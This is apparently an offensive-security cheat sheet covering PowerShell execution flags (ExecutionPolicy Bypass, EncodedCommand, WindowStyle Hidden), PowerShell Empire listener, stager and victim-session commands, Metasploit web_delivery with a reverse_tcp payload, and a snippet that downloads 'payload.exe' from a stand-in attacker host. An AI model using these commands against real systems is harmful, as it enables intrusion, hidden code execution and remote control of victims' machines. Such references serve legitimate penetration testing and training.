PowerShell

Command	Usage
[Environment]::Is64BitProcess	Returns True if *x64-bit* powershell
powershell.exe **-ExecutionPolicy Bypass** .*script.ps1*	Ignores all restrictions
powershell.exe **-ExecutionPolicy Unrestricted** .*script.ps1*	Allows scripts but may warn on untrusted files
powershell.exe **-Command** *Command*	Executes a command
powershell.exe **-Command** “& {*SCRIPT*}”	Executes a Script Block
powershell.exe **-EncodedCommand** $*encodedCommand*	Execute bas64 encoded scripts/commands
powershell.exe **-NoProfile** .*script.ps1*	Don’t load any PowerShell profiles
powershell.exe **-Version** *number*	Downgrades to the specified PowerShell version
powershell.exe **-WindowStyle Hidden** .*script.ps1*	Prevents the CLI from showing on execution

PowerShell Empire

Command	Usage
powershell-empire *server*	PowerShell empire server starter
powershell-empire *client*	PowerShell empire client starter
uselistener *http* set Host *AttackerIP* set Port *AttackerPort* listeners	Creates a listener (Like netcat -lp for example)
execute	The equivalent of run/exploit in MSF
main	Go back to the main page (used after setting up a listener for example)
usestager *multi/launcher* set Listener http execute	Payload code generation for the custom listener
agents	Lists active sesions
interact *agentName*	Opens the chosen victim session
usemodule *modulePath*	Select PowerShell module to use

PowerShell Empire Modules

Module	Usage
powershell/situational_awareness/host/computerdetails	Equivalent of sysinfo
powershell/situational_awareness/network/portscan	Port Scanner
powershell/code_execution/invoke_metasploitpayload	Invoke the web_delivery module of MSF

Metasploit x PowerShell

Module	Usage
multi/script/web_delivery	Powershell payload code generation and hoster – Set target to 2 + Set payload to reverse_tcp

Interesting example:

As an example of creating a basic object based off of a .NET class with the "New-Object" cmdlet, we can use the "Net.WebClient" .NET system class to download a file to a target system with the following code:

```
PS C:\> $webclient = New-Object System.Net.WebClient
PS C:\> $payload_url = "https://attacker_host/payload.exe"
PS C:\> $file = "C:\ProgramData\payload.exe"
PS C:\> $webclient.DownloadFile($payload_url,$file)
```